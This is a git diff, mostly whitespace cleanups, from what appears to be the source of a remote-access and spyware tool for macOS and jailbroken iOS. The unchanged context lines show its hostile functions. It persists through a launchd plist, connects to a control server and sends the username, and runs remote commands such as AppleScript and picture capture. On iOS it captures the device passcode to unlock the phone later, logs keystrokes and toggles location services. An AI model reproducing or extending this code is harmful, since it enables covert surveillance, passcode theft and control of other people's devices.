forKeys:[NSArray arrayWithObjects:@"AbandonProcessGroup",@"Label",@"StartInterval",@"RunAtLoad",@"ProgramArguments", nil]];
-
+
NSError *err;
NSData *plistData = [NSPropertyListSerialization dataWithPropertyList:innerDict format:NSPropertyListXMLFormat_v1_0 options:0 error:&err];
if (err) {
diff --git a/src/esplmacos/esplmacos/main.m b/src/esplmacos/esplmacos/main.m
index 96f67bd..0a41bb2 100644
--- a/src/esplmacos/esplmacos/main.m
+++ b/src/esplmacos/esplmacos/main.m
@@ -54,12 +54,12 @@ void ShutdownSSL()
io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("IOPlatformExpertDevice"));
if (!platformExpert)
return nil;
-
+
CFTypeRef serialNumberAsCFString = IORegistryEntryCreateCFProperty(platformExpert,CFSTR(kIOPlatformUUIDKey),kCFAllocatorDefault, 0);
IOObjectRelease(platformExpert);
if (!serialNumberAsCFString)
return nil;
-
+
return (__bridge NSString *)(serialNumberAsCFString);;
}
@@ -92,7 +92,7 @@ void connectToServer(NSDictionary *arguments) {
printf("Handshake Failed\n");
return;
}
-
+
//Send device name
NSDictionary *deviceInfo = [[NSMutableDictionary alloc] init];
[deviceInfo setValue:NSUserName() forKey:@"username"];
@@ -119,7 +119,7 @@ void interact(NSDictionary *arguments) {
NSString *cmd = [jsonDict objectForKey:@"cmd"];
NSString *args = [jsonDict objectForKey:@"args"];
esCommand->terminator = (char*)[[jsonDict objectForKey:@"term"] UTF8String];
-
+
if ([cmd isEqualToString:@"applescript"]) {
[esCommand runAppleScript:args];
} else if ([cmd isEqualToString:@"picture"]) {
diff --git a/src/espro/Tweak.xm b/src/espro/Tweak.xm
index 65b64f3..bdede50 100644
--- a/src/espro/Tweak.xm
+++ b/src/espro/Tweak.xm
@@ -51,13 +51,13 @@ NSString *keyLog;
[(VolumeControl *)[%c(VolumeControl) sharedVolumeControl] toggleMute];
[mediaController setRingerMuted:!mediaController.ringerMuted];
}
- }
+ }
// Location
else if ([command isEqual:@"locationon"]) {
[%c(CLLocationManager) setLocationServicesEnabled:true];
} else if ([command isEqual:@"locationoff"]) {
[%c(CLLocationManager) setLocationServicesEnabled:false];
- }
+ }
}
%new
@@ -67,7 +67,7 @@ NSString *keyLog;
NSString *result = @"";
if (passcode != NULL)
result = passcode;
- else
+ else
result = @"We have not obtained passcode yet";
return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"];
}
@@ -78,7 +78,7 @@ NSString *keyLog;
return [NSDictionary dictionaryWithObject:@"none" forKey:@"returnStatus"];
}
else if ([command isEqual:@"islocked"]) {
- if ([(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] isUILocked])
+ if ([(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] isUILocked])
return [NSDictionary dictionaryWithObject:@"true" forKey:@"returnStatus"];
return [NSDictionary dictionaryWithObject:@"false" forKey:@"returnStatus"];
}
@@ -94,10 +94,10 @@ NSString *keyLog;
NSString *result = @"";
if (passcode != NULL)
[(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] attemptUnlockWithPasscode:passcode];
- else
+ else
result = @"We have not obtained passcode yet";
return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"];
- }
+ }
return [NSDictionary dictionaryWithObject:[NSNumber numberWithInt:1] forKey:@"returnStatus"];
}
%end
@@ -145,11 +145,10 @@ NSString *keyLog;
}
if (keyLog == NULL) {
keyLog = @"";
- }
+ }
keyLog = [[NSString alloc] initWithFormat:@"%@%@",keyLog,text];
});
%orig;
}
%end
*/
-
diff --git a/src/espro/bootstrap.h b/src/espro/bootstrap.h
index 8cb5a2d..98ab573 100755
--- a/src/espro/bootstrap.h
+++ b/src/espro/bootstrap.h
@@ -4,19 +4,19 @@
* Copyright (c) 1999-2005 Apple Computer, Inc. All rights reserved.
*
* @APPLE_APACHE_LICENSE_HEADER_START@
- *
+ *
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
- *
+ *
* http://www.apache.org/licenses/LICENSE-2.0
- *
+ *
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
+ *
* @APPLE_APACHE_LICENSE_HEADER_END@
*/
@@ -34,7 +34,7 @@
* it initiates other system tasks, and manages a table of name-port bindings
* for fundamental system services (e.g. lookupd, Window Manager, etc...).
*
- * Name-port bindings can be established with the bootstrap server by either
+ * Name-port bindings can be established with the bootstrap server by either
* of two mechanisms:
*
* 1. The binding can be indicated, in advance of the service that backs it
@@ -61,9 +61,9 @@
* The bootstrap server creates a "backup" port for each service that it
* creates. This is used to detect when a checked out service is no longer
* being served. The bootstrap server regains all rights to the port and
- * it is marked available for check-out again. This allows crashed servers to
- * resume service to previous clients. Lookup's on this named port will
- * continue to be serviced by bootstrap while holding receive rights for the
+ * it is marked available for check-out again. This allows crashed servers to
+ * resume service to previous clients. Lookup's on this named port will
+ * continue to be serviced by bootstrap while holding receive rights for the
* bound port. A client may detect that the service is inactive via the
* bootstrap status request. If an inactive service re-registers rather
* than "checking-in" the original bound port is destroyed.
@@ -141,7 +141,7 @@ extern mach_port_t bootstrap_port;
* will be associated with this particular server.
*
* Only a holder of the server_port privilege bootstrap port can
- * check in or register over those services.
+ * check in or register over those services.
*
* When all services associated with a server are deleted, and the server
* exits, it will automatically be deleted itself.
@@ -293,8 +293,8 @@ bootstrap_create_service(mach_port_t bp, name_t service_name, mach_port_t *sp);
* bootstrap_check_in()
*
* Returns the receive right for the service named by service_name. The
- * service must have been declared in the launchd.plist(5) file associated
- * with the job. Attempts to check_in a service which is already active
+ * service must have been declared in the launchd.plist(5) file associated
+ * with the job. Attempts to check_in a service which is already active
* are not allowed.
*
* If the service was declared as being associated with a server, the
@@ -355,4 +355,4 @@ const char *bootstrap_strerror(kern_return_t r) __attribute__((__nothrow__, __pu
__END_DECLS
-#endif /* __BOOTSTRAP_H__ */
\ No newline at end of file
+#endif /* __BOOTSTRAP_H__ */
diff --git a/src/espro/header.h b/src/espro/header.h
index bf3771d..72ea8b8 100755
--- a/src/espro/header.h
+++ b/src/espro/header.h
@@ -67,5 +67,3 @@
+(id)sharedVolumeControl;
-(void)toggleMute;
@end
-
-